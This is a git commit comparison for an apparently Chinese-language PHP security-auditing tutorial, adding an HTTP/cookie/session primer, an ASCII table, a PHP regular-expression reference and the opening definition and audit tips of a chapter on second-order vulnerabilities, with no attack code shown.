Compare commits

..

15 Commits

Author SHA1 Message Date
danny 18e40a85bc 第四章增加数据库表名的说明 2025-11-12 20:39:22 +08:00
danny 1f887cfd95 更新XSS漏洞防范策略 2025-11-11 14:52:50 +08:00
danny 5a7d8174f6 小修正 2025-11-05 10:12:05 +08:00
danny 784247b2ee 增加正则表达式 2025-11-05 09:05:42 +08:00
danny a59d7ee612 完成11章节 2025-11-03 09:51:45 +08:00
danny c9f82d5ea9 格式小修改 2025-11-03 09:01:00 +08:00
danny ae7f5b8273 格式小修改 2025-11-03 08:57:13 +08:00
danny 526799f142 更新目录 2025-11-01 09:41:39 +08:00
danny b2663bcaec 完成HTTP的简单描述 2025-11-01 09:35:47 +08:00
danny b53132af22 修正图片引用 2025-10-30 17:59:27 +08:00
danny 0d7f6f0374 继续努力 2025-10-30 17:54:39 +08:00
danny cf248c0f37 seay工具重新上传 2025-10-27 19:18:24 +08:00
danny eaaaca3271 第六章更新目录 2025-10-23 17:36:08 +08:00
danny c25cbba973 完成第六章 2025-10-23 17:35:29 +08:00
danny a520d3b67a 完成第六章 2025-10-23 17:35:00 +08:00
39 changed files with 2635 additions and 135 deletions
+18 -3
View File
@@ -1,3 +1,18 @@
[第一章](第一章/01.md)
[第三章](第三章/01.md)
[第四章](第四章/01.md) # 目录
- [第一章](第一章/01.md)
- [第三章](第三章/01.md)
- [第四章](第四章/01.md)
- [第五章](第五章/01.md)
- [第六章](第六章/01.md)
- [第七章](第七章/01.md)
- [第八章](第八章/01.md)
- [第九章](第九章/01.md)
- [第十章](第十章/01.md)
- [第十一章](第十一章/01.md)
- 附录
- [HTTP简介](工具/http.md)
- [ASCII码表](工具/ascii.md)
- [正则表达式](工具/正则表达式.md)
Binary file not shown.
Binary file not shown.
+67 -130
View File
@@ -1,132 +1,69 @@
# ASCII 码表 # ASCII 码表
| 十进制 | 十六进制 | 字符 | 描述 | | 十进制 | 十六进制 | 字符 | 描述 | * | 十进制 | 十六进制 | 字符 | 描述 |
|--------|----------|-------|--------------------| |--------|----------|-------|--------------------|--------|----------|-------|--------------------|--------------------|
| 0 | 0x00 | NUL | 空字符 | | 0 | 0x00 | NUL | 空字符 | | 64 | 0x40 | @ | 商业符号 |
| 1 | 0x01 | SOH | 标题开始 | | 1 | 0x01 | SOH | 标题开始 | | 65 | 0x41 | A | 大写字母A |
| 2 | 0x02 | STX | 文本开始 | | 2 | 0x02 | STX | 文本开始 | | 66 | 0x42 | B | 大写字母B |
| 3 | 0x03 | ETX | 文本结束 | | 3 | 0x03 | ETX | 文本结束 | | 67 | 0x43 | C | 大写字母C |
| 4 | 0x04 | EOT | 传输结束 | | 4 | 0x04 | EOT | 传输结束 | | 68 | 0x44 | D | 大写字母D |
| 5 | 0x05 | ENQ | 询问字符 | | 5 | 0x05 | ENQ | 询问字符 | | 69 | 0x45 | E | 大写字母E |
| 6 | 0x06 | ACK | 确认字符 | | 6 | 0x06 | ACK | 确认字符 | | 70 | 0x46 | F | 大写字母F |
| 7 | 0x07 | BEL | 响铃 | | 7 | 0x07 | BEL | 响铃 | | 71 | 0x47 | G | 大写字母G |
| 8 | 0x08 | BS | 退格 | | 8 | 0x08 | BS | 退格 | | 72 | 0x48 | H | 大写字母H |
| 9 | 0x09 | HT | 水平制表符 | | 9 | 0x09 | HT | 水平制表符 | | 73 | 0x49 | I | 大写字母I |
| 10 | 0x0A | LF | 换行 | | 10 | 0x0A | LF | 换行 | | 74 | 0x4A | J | 大写字母J |
| 11 | 0x0B | VT | 垂直制表符 | | 11 | 0x0B | VT | 垂直制表符 | | 75 | 0x4B | K | 大写字母K |
| 12 | 0x0C | FF | 换页 | | 12 | 0x0C | FF | 换页 | | 76 | 0x4C | L | 大写字母L |
| 13 | 0x0D | CR | 回车 | | 13 | 0x0D | CR | 回车 | | 77 | 0x4D | M | 大写字母M |
| 14 | 0x0E | SO | 取消移位 | | 14 | 0x0E | SO | 取消移位 | | 78 | 0x4E | N | 大写字母N |
| 15 | 0x0F | SI | 启用移位 | | 15 | 0x0F | SI | 启用移位 | | 79 | 0x4F | O | 大写字母O |
| 16 | 0x10 | DLE | 数据链路转义 | | 16 | 0x10 | DLE | 数据链路转义 | | 80 | 0x50 | P | 大写字母P |
| 17 | 0x11 | DC1 | 设备控制1XON | | 17 | 0x11 | DC1 | 设备控制1XON | | 81 | 0x51 | Q | 大写字母Q |
| 18 | 0x12 | DC2 | 设备控制2 | | 18 | 0x12 | DC2 | 设备控制2 | | 82 | 0x52 | R | 大写字母R |
| 19 | 0x13 | DC3 | 设备控制3XOFF | | 19 | 0x13 | DC3 | 设备控制3XOFF | | 83 | 0x53 | S | 大写字母S |
| 20 | 0x14 | DC4 | 设备控制4 | | 20 | 0x14 | DC4 | 设备控制4 | | 84 | 0x54 | T | 大写字母T |
| 21 | 0x15 | NAK | 否定确认 | | 21 | 0x15 | NAK | 否定确认 | | 85 | 0x55 | U | 大写字母U |
| 22 | 0x16 | SYN | 同步空闲 | | 22 | 0x16 | SYN | 同步空闲 | | 86 | 0x56 | V | 大写字母V |
| 23 | 0x17 | ETB | 传输块结束 | | 23 | 0x17 | ETB | 传输块结束 | | 87 | 0x57 | W | 大写字母W |
| 24 | 0x18 | CAN | 取消 | | 24 | 0x18 | CAN | 取消 | | 88 | 0x58 | X | 大写字母X |
| 25 | 0x19 | EM | 介质结束 | | 25 | 0x19 | EM | 介质结束 | | 89 | 0x59 | Y | 大写字母Y |
| 26 | 0x1A | SUB | 替换 | | 26 | 0x1A | SUB | 替换 | | 90 | 0x5A | Z | 大写字母Z |
| 27 | 0x1B | ESC | 退出 | | 27 | 0x1B | ESC | 退出 | | 91 | 0x5B | [ | 左方括号 |
| 28 | 0x1C | FS | 文件分隔符 | | 28 | 0x1C | FS | 文件分隔符 | | 92 | 0x5C | \ | 反斜杠 |
| 29 | 0x1D | GS | 组分隔符 | | 29 | 0x1D | GS | 组分隔符 | | 93 | 0x5D | ] | 右方括号 |
| 30 | 0x1E | RS | 记录分隔符 | | 30 | 0x1E | RS | 记录分隔符 | | 94 | 0x5E | ^ | 脱字符 |
| 31 | 0x1F | US | 单元分隔符 | | 31 | 0x1F | US | 单元分隔符 | | 95 | 0x5F | _ | 下划线 |
| 32 | 0x20 | SP | 空格 | | 32 | 0x20 | SP | 空格 | | 96 | 0x60 | ` | 反引号 |
| 33 | 0x21 | ! | 感叹号 | | 33 | 0x21 | ! | 感叹号 | | 97 | 0x61 | a | 小写字母a |
| 34 | 0x22 | " | 双引号 | | 34 | 0x22 | " | 双引号 | | 98 | 0x62 | b | 小写字母b |
| 35 | 0x23 | # | 数字符号 | | 35 | 0x23 | # | 数字符号 | | 99 | 0x63 | c | 小写字母c |
| 36 | 0x24 | $ | 美元符号 | | 36 | 0x24 | $ | 美元符号 | | 100 | 0x64 | d | 小写字母d |
| 37 | 0x25 | % | 百分号 | | 37 | 0x25 | % | 百分号 | | 101 | 0x65 | e | 小写字母e |
| 38 | 0x26 | & | 和符号 | | 38 | 0x26 | & | 和符号 | | 102 | 0x66 | f | 小写字母f |
| 39 | 0x27 | ' | 单引号 | | 39 | 0x27 | ' | 单引号 | | 103 | 0x67 | g | 小写字母g |
| 40 | 0x28 | ( | 左括号 | | 40 | 0x28 | ( | 左括号 | | 104 | 0x68 | h | 小写字母h |
| 41 | 0x29 | ) | 右括号 | | 41 | 0x29 | ) | 右括号 | | 105 | 0x69 | i | 小写字母i |
| 42 | 0x2A | * | 星号 | | 42 | 0x2A | * | 星号 | | 106 | 0x6A | j | 小写字母j |
| 43 | 0x2B | + | 加号 | | 43 | 0x2B | + | 加号 | | 107 | 0x6B | k | 小写字母k |
| 44 | 0x2C | , | 逗号 | | 44 | 0x2C | , | 逗号 | | 108 | 0x6C | l | 小写字母l |
| 45 | 0x2D | - | 减号/横线 | | 45 | 0x2D | - | 减号/横线 | | 109 | 0x6D | m | 小写字母m |
| 46 | 0x2E | . | 句点 | | 46 | 0x2E | . | 句点 | | 110 | 0x6E | n | 小写字母n |
| 47 | 0x2F | / | 斜杠 | | 47 | 0x2F | / | 斜杠 | | 111 | 0x6F | o | 小写字母o |
| 48 | 0x30 | 0 | 数字0 | | 48 | 0x30 | 0 | 数字0 | | 112 | 0x70 | p | 小写字母p |
| 49 | 0x31 | 1 | 数字1 | | 49 | 0x31 | 1 | 数字1 | | 113 | 0x71 | q | 小写字母q |
| 50 | 0x32 | 2 | 数字2 | | 50 | 0x32 | 2 | 数字2 | | 114 | 0x72 | r | 小写字母r |
| 51 | 0x33 | 3 | 数字3 | | 51 | 0x33 | 3 | 数字3 | | 115 | 0x73 | s | 小写字母s |
| 52 | 0x34 | 4 | 数字4 | | 52 | 0x34 | 4 | 数字4 | | 116 | 0x74 | t | 小写字母t |
| 53 | 0x35 | 5 | 数字5 | | 53 | 0x35 | 5 | 数字5 | | 117 | 0x75 | u | 小写字母u |
| 54 | 0x36 | 6 | 数字6 | | 54 | 0x36 | 6 | 数字6 | | 118 | 0x76 | v | 小写字母v |
| 55 | 0x37 | 7 | 数字7 | | 55 | 0x37 | 7 | 数字7 | | 119 | 0x77 | w | 小写字母w |
| 56 | 0x38 | 8 | 数字8 | | 56 | 0x38 | 8 | 数字8 | | 120 | 0x78 | x | 小写字母x |
| 57 | 0x39 | 9 | 数字9 | | 57 | 0x39 | 9 | 数字9 | | 121 | 0x79 | y | 小写字母y |
| 58 | 0x3A | : | 冒号 | | 58 | 0x3A | : | 冒号 | | 122 | 0x7A | z | 小写字母z |
| 59 | 0x3B | ; | 分号 | | 59 | 0x3B | ; | 分号 | | 123 | 0x7B | { | 左花括号 |
| 60 | 0x3C | < | 小于号 | | 60 | 0x3C | < | 小于号 | | 124 | 0x7C | \| | 竖线 |
| 61 | 0x3D | = | 等号 | | 61 | 0x3D | = | 等号 | | 125 | 0x7D | } | 右花括号 |
| 62 | 0x3E | > | 大于号 | | 62 | 0x3E | > | 大于号 | | 126 | 0x7E | ~ | 波浪号 |
| 63 | 0x3F | ? | 问号 | | 63 | 0x3F | ? | 问号 | | 127 | 0x7F | DEL | 删除 |
| 64 | 0x40 | @ | 商业符号 |
| 65 | 0x41 | A | 大写字母A |
| 66 | 0x42 | B | 大写字母B |
| 67 | 0x43 | C | 大写字母C |
| 68 | 0x44 | D | 大写字母D |
| 69 | 0x45 | E | 大写字母E |
| 70 | 0x46 | F | 大写字母F |
| 71 | 0x47 | G | 大写字母G |
| 72 | 0x48 | H | 大写字母H |
| 73 | 0x49 | I | 大写字母I |
| 74 | 0x4A | J | 大写字母J |
| 75 | 0x4B | K | 大写字母K |
| 76 | 0x4C | L | 大写字母L |
| 77 | 0x4D | M | 大写字母M |
| 78 | 0x4E | N | 大写字母N |
| 79 | 0x4F | O | 大写字母O |
| 80 | 0x50 | P | 大写字母P |
| 81 | 0x51 | Q | 大写字母Q |
| 82 | 0x52 | R | 大写字母R |
| 83 | 0x53 | S | 大写字母S |
| 84 | 0x54 | T | 大写字母T |
| 85 | 0x55 | U | 大写字母U |
| 86 | 0x56 | V | 大写字母V |
| 87 | 0x57 | W | 大写字母W |
| 88 | 0x58 | X | 大写字母X |
| 89 | 0x59 | Y | 大写字母Y |
| 90 | 0x5A | Z | 大写字母Z |
| 91 | 0x5B | [ | 左方括号 |
| 92 | 0x5C | \ | 反斜杠 |
| 93 | 0x5D | ] | 右方括号 |
| 94 | 0x5E | ^ | 脱字符 |
| 95 | 0x5F | _ | 下划线 |
| 96 | 0x60 | ` | 反引号 |
| 97 | 0x61 | a | 小写字母a |
| 98 | 0x62 | b | 小写字母b |
| 99 | 0x63 | c | 小写字母c |
| 100 | 0x64 | d | 小写字母d |
| 101 | 0x65 | e | 小写字母e |
| 102 | 0x66 | f | 小写字母f |
| 103 | 0x67 | g | 小写字母g |
| 104 | 0x68 | h | 小写字母h |
| 105 | 0x69 | i | 小写字母i |
| 106 | 0x6A | j | 小写字母j |
| 107 | 0x6B | k | 小写字母k |
| 108 | 0x6C | l | 小写字母l |
| 109 | 0x6D | m | 小写字母m |
| 110 | 0x6E | n | 小写字母n |
| 111 | 0x6F | o | 小写字母o |
| 112 | 0x70 | p | 小写字母p |
| 113 | 0x71 | q | 小写字母q |
| 114 | 0x72 | r | 小写字母r |
| 115 | 0x73 | s | 小写字母s |
| 116 | 0x74 | t | 小写字母t |
| 117 | 0x75 | u | 小写字母u |
| 118 | 0x76 | v | 小写字母v |
| 119 | 0x77 | w | 小写字母w |
| 120 | 0x78 | x | 小写字母x |
| 121 | 0x79 | y | 小写字母y |
| 122 | 0x7A | z | 小写字母z |
| 123 | 0x7B | { | 左花括号 |
| 124 | 0x7C | \| | 竖线 |
| 125 | 0x7D | } | 右花括号 |
| 126 | 0x7E | ~ | 波浪号 |
| 127 | 0x7F | DEL | 删除 |
Executable
+207
View File
@@ -0,0 +1,207 @@
- [1. HTTP协议](#1-http协议)
- [1.1. HTTP请求](#11-http请求)
- [1.1.1. Head](#111-head)
- [1.1.1.1. **方法(Method**](#1111-方法method)
- [1.1.1.2. Host](#1112-host)
- [1.1.1.3. 其他头](#1113-其他头)
- [1.1.2. Body](#112-body)
- [1.2. HTTP回应](#12-http回应)
- [1.2.1. head](#121-head)
- [1.2.2. body](#122-body)
- [2. 什么是cookie](#2-什么是cookie)
- [2.1. **核心作用**](#21-核心作用)
- [2.2. **工作原理**](#22-工作原理)
- [3. session](#3-session)
# 1. HTTP协议
HTTP(HTTPS)是建立在TCP协议层上的应用层协议。区别在于HTTP使用明文传输,HTTPS是在SSL加密层上进行传输的。SSL加密层可以看成是TCP的扩展,因此在应用层上,HTTP和HTTP可以看成是一样的。
HTTP的默认端口是80HTTPS的默认端口是443。
另外为了提升服务器的负载能力,HTTP是应答完成后就断开TCP的方式。
![alt text](img/http_connect.drawio.png)
HTTP是纯文本的应用层协议,无论是Request或者是Response都是一致的结构,分为头(head)和体(body)两个部分。
一个典型的Request由客户端发起:
```http
GET /index.php?a=1&b=2 HTTP/1.1
Host: localhost
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: Lg4E_2132_saltkey=FQXT9TSx; Lg4E_2132_lastvisit=1761101776; Lg4E_2132_ulastactivity=e3c3eG8C3HO%2FWXweKkNzw5nEuS2QRbsVqRZ82RGJGMn3uL7a3K1D; Lg4E_2132_nofavfid=1; Lg4E_2132_visitedfid=2; Lg4E_2132_smile=1D1; Lg4E_2132_lastcheckfeed=1%7C1761124759; DedeUserID=2; DedeUserID__ckMd5=1be68b23ddcae297; PHPSESSID=0eae6bcf13b88d56b155bb3e33921404; DedeLoginTime=1761882038; DedeLoginTime__ckMd5=4e7ad3dc7f3a81b5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
b=2
```
整个的HTTP协议由head和body构成;head和body之间用一个空行隔开。
## 1.1. HTTP请求
### 1.1.1. Head
#### 1.1.1.1. **方法(Method**
```http
GET /index.php?a=1&b=2 HTTP/1.1
```
方法行定义了三个部分,
第一个部分是方法,常见的方法如下:
- `GET`:获取资源(如网页、文件)。
- `POST`:提交数据(如表单、文件上传)。
- `PUT`:更新资源。
- `DELETE`:删除资源。
- `HEAD`:仅获取响应头。
- `OPTIONS`:查询服务器支持的通信选项。
第二个部分是请求资源的路径以及GET参数:
```http
/index.php?a=1&b=2
```
这里的路径是 ```/index.php``` 问好后面的是参数列表,多个参数用```&```进行分割;注意这里路径应该符合URL的编码规则。
第三部分是HTTP的版本号。
#### 1.1.1.2. Host
```http
Host: localhost
```
host表示的是请求的主机(host)的域名、IP地址均可。主机名或者是ip地址后面可以带端口号(tcp监听端口),如果不带,表示默认端口80。
```http
Host: localhost
```
```http
Host: www.test.com:8080
```
#### 1.1.1.3. 其他头
其他头由很多,比如 cookie,用到的时候再讲解。
### 1.1.2. Body
body部分是请求的附加数据,例如Post的数据;发送的文件等。
## 1.2. HTTP回应
```http
HTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Fri, 31 Oct 2025 03:53:44 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.17
Content-Length: 63690
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html>
<head>
</head>
<body>
</body>
</html>
```
### 1.2.1. head
响应头中最重要的是
```http
HTTP/1.1 200 OK
```
后面的 200 表示响应代码,OK 表示响应代码的描述。具体的响应代码可以查看[HTTP响应码](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Status)。
### 1.2.2. body
根据请求的资源,返回的响应具体内容。可以是几乎任何的文档,包括html、文件、图片等。
# 2. 什么是cookie
**Cookie 是网站存储在用户设备(如电脑、手机)上的小型数据文件**,主要用于记录用户信息、跟踪行为或保持会话状态。以下是简单解释:
## 2.1. **核心作用**
1. **记住用户信息**
- 例如:登录网站后,下次访问时自动填充用户名/密码(需用户允许)。
- 保存偏好设置(如语言、主题颜色)。
2. **跟踪用户行为**
- 广告商通过 Cookie 记录你的浏览习惯,推送相关广告(如你搜过鞋子后,其他网站显示鞋类广告)。
3. **维持会话状态**
- 购物车功能依赖 Cookie:即使你关闭页面再打开,商品仍保留在购物车中。
## 2.2. **工作原理**
1. **服务器发送 Cookie**
- 当你访问网站时,服务器可能通过 HTTP 响应头(如 `Set-Cookie`)发送一个或多个 Cookie 到你的浏览器。
2. **浏览器存储 Cookie**
- 浏览器将 Cookie 保存在本地文件或内存中(按域名分类,不同网站互不干扰)。
3. **后续请求携带 Cookie**
- 再次访问同一网站时,浏览器会自动在 HTTP 请求头中附加相关 Cookie,服务器据此识别用户。
简单说来,cookie 就是存储在客户端的一段数据,在访问相同的域名的时候(可能还会限制域名下面的路径),会自动发送给服务器。cookie可以由response中的head字段发送给客户端(服务器向客户端写cookie);也可以在客户端通过js读取和设置cookie(客户端读写cookie)。这样服务器就可以记住客户端是谁。例如把用户ID存放在cookie中,每次都自动发送给服务器(在head中),服务器就会知道收到的request是谁发送的。
但是在客户端存放敏感信息是一种不安全的做法,客户端的环境是不可控的,cookie可能会被伪造。这样我们就需要使用到session来解决这个问题。
> 注意:cookie 的存放有两个重要参数,第一是作用域,其实就是路径;第二就是过期时间。
# 3. session
显然cookie值可以在客户端进行读写,如果把敏感信息存放到cookie中是不安全的。因此服务器需要识别到底是哪个客户端的访问情况就需要使用到session。
Session是存放在服务器的数据,一般用来存放某个用户的信息。当客户端访问服务器,服务器就会读取出客户端对应的Session,从而知道是那个客户端发起的请求。
那么服务器是如何知道是哪个客户端访问服务器,并读取出该客户端对应的Session?这就需要使用到cookie。注意cookie的特点,服务器是可以设置cookie的,通过response中在回应头加入相应的cookie字段,客户端收到该回应就会设置自己的cookie;以后每次访问服务器就会自动发送该cookie。
```php
<?php
session_start();
echo "hello";
?>
```
访问这个页面,F12打开调试。
![image-20251101092415063](img/image-20251101092415063.png)
在4这个位置可以看到服务通过返回头设置了客户端的的一个cookie,这个cookie 就对应服务器的session。进一步验证,在客户端的cookie中可以看到这个值(4位置)。
![image-20251101092635998](img/image-20251101092635998.png)
在后续的访问中,这个cookie值被自动发送给服务器,服务器就通过这个值来和服务器端的session联系起来,确定是那个客户端在发出请求。
就好像是给每个客户端临时进行了编号,通过编号就能只能是谁在访问。同时session在服务器端是一个数组,数组中可以增加,修改项目,用来存放该用户的状态或者是临时数据。例如是否登陆、用户ID等。
Session的读取是自动的,通过$_SESSION 数组来进行读写。另外session也是有过期时间的。
这样,客户端只用在cookie中存放一个随机字符串,服务器就可以读取在服务器端对应的session来获得该用户的信息,要比把敏感信息放在cookie中安全很多。
> 注意:老的浏览器可能不支持cookie,因此也可以把上述的PHPSESSION这个字符串通过GET参数传递给服务器。
关于SESSION的配置,在phpinfo中有详细的描述:
![image-20251101093410723](img/image-20251101093410723.png)
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 109 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

+267
View File
@@ -0,0 +1,267 @@
- [1. 正则表达式函数](#1-正则表达式函数)
- [1.1. **匹配类函数**](#11-匹配类函数)
- [1.2. **替换类函数**](#12-替换类函数)
- [1.3. **分割与筛选**](#13-分割与筛选)
- [2. 正则表达式规则](#2-正则表达式规则)
- [2.1. **基础字符匹配**](#21-基础字符匹配)
- [2.2. **量词(控制匹配次数)**](#22-量词控制匹配次数)
- [2.3. **边界控制**](#23-边界控制)
- [2.4. **分组与引用**](#24-分组与引用)
- [2.5. **替代与条件匹配**](#25-替代与条件匹配)
- [2.6. **模式修饰符**](#26-模式修饰符)
- [2.7. **特殊结构**](#27-特殊结构)
- [2.8. **Unicode 支持**](#28-unicode-支持)
- [2.9. **示例**](#29-示例)
- [2.10. **注意事项**](#210-注意事项)
PHP提供了丰富的正则表达式函数,主要用于模式匹配、替换、分割等操作。以下是核心函数及其功能详解:
# 1. 正则表达式函数
## 1.1. **匹配类函数**
- **`preg_match()`**
执行单次正则匹配,返回匹配次数(0或1)。支持捕获组存储到`$matches`数组。
示例:匹配字符串中的数字
```php
php$text = "Order 12345";
preg_match('/Order \d+/', $text, $matches); // $matches[0] = "Order 12345"
```
- **`preg_match_all()`**
全局匹配,返回所有匹配结果到`$matches`数组。可通过`flags`参数(如`PREG_PATTERN_ORDER`)调整结果排序。
示例:提取HTML中的链接
```php
$html = '<a href="link1.html">Link1</a><a href="link2.html">Link2</a>';
preg_match_all('/<a href="(.*?)">(.*?)<\/a>/', $html, $matches);
// $matches[1] = ["link1.html", "link2.html"], $matches[2] = ["Link1", "Link2"]
```
## 1.2. **替换类函数**
- **`preg_replace()`**
执行正则替换,支持逆向引用(如`$1`)和数组替换。
示例:脱敏手机号
```php
$text = "用户电话:123-4567-8901";
$masked = preg_replace('/(\d{3})-(\d{4})-\d{4}/', '$1-****-$2', $text);
// 输出 "用户电话:123-****-4567"
```
- **`preg_replace_callback()`**
通过回调函数动态生成替换内容,灵活性更高。
示例:年份递增
```php
$text = "April fools day is 04/01/2002";
echo preg_replace_callback(
"|(\d{2}/\d{2}/)(\d{4})|",
function($m) { return $m[1] . ($m[2] + 1); },
$text
); // 输出 "04/01/2003"
```
- **`preg_filter()`**
类似`preg_replace`,但仅保留有替换结果的条目(忽略未匹配项)。
## 1.3. **分割与筛选**
- **`preg_split()`**
按正则规则分割字符串,返回数组。支持`limit`限制分割次数,`flags`调整结果格式(如`PREG_SPLIT_NO_EMPTY`过滤空项)。
示例:分割CSV
```php
$csv = "apple, orange; banana|pear";
$fruits = preg_split('/[,;|]/', $csv); // ["apple", "orange", "banana", "pear"]
```
- **`preg_grep()`**
筛选数组中匹配模式的元素。
示例:筛选有效邮箱
```php
$emails = ["test@qq.com", "invalid-email", "user@example.com"];
$valid = preg_grep('/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/', $emails);
// 输出 ["test@qq.com", "user@example.com"]
```
# 2. 正则表达式规则
PHP 的正则表达式基于 **PCREPerl Compatible Regular Expressions** 库,其匹配规则与 Perl 正则高度兼容。以下是 PHP 正则表达式的核心匹配规则,涵盖字符匹配、量词、边界控制、分组等关键功能:
------
## 2.1. **基础字符匹配**
- **普通字符**:直接匹配对应字符(如 `a` 匹配字母 `a`)。
- **元字符**:需转义后匹配(如 `\.` 匹配点号 `.``\*` 匹配星号 `*`)。
```php
preg_match('/\.com/', 'example.com'); // 匹配 ".com"
```
- **特殊字符类**
- `\d`:匹配数字(等价于 `[0-9]`)。
- `\w`:匹配单词字符(字母、数字、下划线,等价于 `[a-zA-Z0-9_]`)。
- `\s`:匹配空白字符(空格、制表符、换行等)。
- 反义类:`\D`(非数字)、`\W`(非单词字符)、`\S`(非空白)。
------
## 2.2. **量词(控制匹配次数)**
| 量词 | 含义 | 示例 |
| ------- | ---------------------------- | --------------------------------- |
| `.` | 匹配单个任意字符(除换行符) | `a.b` 匹配 `aXb`、`a b` 等 |
| `*` | 匹配 0 次或多次 | `a*` 匹配 `""`, `a`, `aa` |
| `+` | 匹配 1 次或多次 | `a+` 匹配 `a`, `aa` |
| `?` | 匹配 0 次或 1 次 | `a?` 匹配 `""` 或 `a` |
| `{n}` | 精确匹配 n 次 | `a{3}` 匹配 `aaa` |
| `{n,}` | 匹配至少 n 次 | `a{2,}` 匹配 `aa`, `aaa` |
| `{n,m}` | 匹配 n 到 m 次 | `a{2,4}` 匹配 `aa`, `aaa`, `aaaa` |
**贪婪 vs 非贪婪**
- 默认贪婪模式(匹配尽可能多的字符),如 `.*` 会匹配整个字符串。
- 非贪婪模式(在量词后加 `?`),如 `.*?` 匹配最短可能。
```php
$text = "<div>content</div>";
preg_match('/<div>(.*?)<\/div>/', $text, $matches); // $matches[1] = "content"
```
------
## 2.3. **边界控制**
- **锚点**
- `^`:匹配字符串开头(多行模式下匹配行首)。
- `$`:匹配字符串结尾(多行模式下匹配行尾)。
```php
preg_match('/^Hello/', 'Hello world'); // 匹配成功
preg_match('/world$/', 'Hello world'); // 匹配成功
```
- **单词边界**
- `\b`:匹配单词边界(如 `\bword\b` 匹配独立单词 `word`)。
- `\B`:匹配非单词边界;可以认为是 `\b`的反义。
```php
preg_match('/\bcat\b/', 'The cat sat'); // 匹配 "cat"
preg_match('/\bcat\b/', 'category'); // 不匹配
```
------
## 2.4. **分组与引用**
- **捕获组**:用 `( )` 包裹,匹配内容会被捕获到 `$matches` 数组。
```php
preg_match('/(\d{4})-(\d{2})/', '2023-05', $matches);
// $matches[0] = "2023-05", $matches[1] = "2023", $matches[2] = "05"
```
- **非捕获组**:用 `(?: )` 包裹,不捕获内容(提升性能)。
```php
preg_match('/(?:\d{3})-(\d{4})/', '123-4567', $matches);
// $matches[1] = "4567"(仅捕获第二组)
```
- **反向引用**:用 `\n`n 为组号)引用已捕获的内容。
```php
preg_match('/(\w+)\s\1/', 'test test', $matches); // 匹配重复单词
```
------
## 2.5. **替代与条件匹配**
- **分支匹配**:用 `|` 表示“或”关系。
```php
preg_match('/(cat|dog)/', 'I have a cat'); // 匹配 "cat"
```
- **条件匹配**PCRE 支持 `(?(condition)yes|no)` 语法(较少用)。
------
## 2.6. **模式修饰符**
修饰符放在定界符后(如 `/pattern/i`),常用如下:
| 修饰符 | 含义 | 示例 |
| ------ | ---------------------------------- | ---------------------------- |
| `i` | 不区分大小写 | `/hello/i` 匹配 `Hello` |
| `m` | 多行模式(`^` 和 `$` 匹配行首/尾) | `/^line/m` 匹配每行开头 |
| `s` | 让 `.` 匹配换行符 | `/.*./s` 匹配跨行文本 |
| `u` | 支持 UTF-8 编码 | `/\p{L}/u` 匹配 Unicode 字母 |
| `x` | 忽略模式中的空白和注释 | `/a b /x` 匹配 `ab` |
| `e` | 匹配后的字符串作为php执行 | 新版本已经取消 |
------
## 2.7. **特殊结构**
- **环视(Lookaround**
- 正向环视:`(?=pattern)`(后面必须跟 `pattern`),`(?!pattern)`(后面不能跟 `pattern`)。
- 反向环视:`(?<=pattern)`(前面必须是 `pattern`),`(?<!pattern)`(前面不能是 `pattern`)。
```php
preg_match('/(?<=\d)abc/', '123abc'); // 匹配 "abc"(前面是数字)
```
- **原子组**`(?>pattern)` 防止回溯(性能优化)。
------
## 2.8. **Unicode 支持**
- 使用 `\p{L}` 匹配任意字母,`\p{N}` 匹配数字,需配合 `u` 修饰符。后一个`/`后面可以有模式修饰符`i``m``s``u``x`等。
```php
preg_match('/\p{L}+/u', '中文'); // 匹配 "中文"
```
------
## 2.9. **示例**
模式匹配字符串的开始和结束一般是`/`(PHP可以有其他的替代,具体请参考手册);
```php
// 匹配邮箱
$email = "user@example.com";
if (preg_match('/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/', $email)) {
echo "Valid email";
}
// 提取日期(YYYY-MM-DD
$text = "Today is 2023-05-20";
preg_match('/\b(\d{4})-(\d{2})-(\d{2})\b/', $text, $matches);
// $matches[1] = "2023", $matches[2] = "05", $matches[3] = "20"
```
------
## 2.10. **注意事项**
1. **转义字符**:在双引号字符串中,`\` 可能被转义,建议用单引号或额外转义。
2. **性能**:避免过度使用嵌套分组或回溯复杂的模式。
3. **错误处理**:检查 `preg_last_error()` 调试复杂正则。
PHP 正则表达式功能强大,合理使用可高效处理字符串匹配、验证和提取任务。
+120
View File
@@ -0,0 +1,120 @@
- [1. 二次漏洞审计](#1-二次漏洞审计)
- [1.1. dedecms二次注入漏洞分析](#11-dedecms二次注入漏洞分析)
- [1.2. 漏洞浮现](#12-漏洞浮现)
# 1. 二次漏洞审计
大多数应用只要肯仔细去通读研究全文代码,理解业务逻辑,还是能挖出来部分二次漏洞的。
二次漏洞定义
需要先构造好利用代码写入网站保存,在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞。
![alt text](img/二次漏洞流程图.drawio.png)
二次漏洞审计技巧
- 通过相关关键字去定位,比如可以根据数据库字段、数据表名等去代码中搜索;
- 最好还是把全部代码读一遍;
- 业务逻辑越是复杂的地方越容易岀现二次漏洞,我们可以重点关注购物车、订单,另外还有引用数据、文章编辑、草稿等。
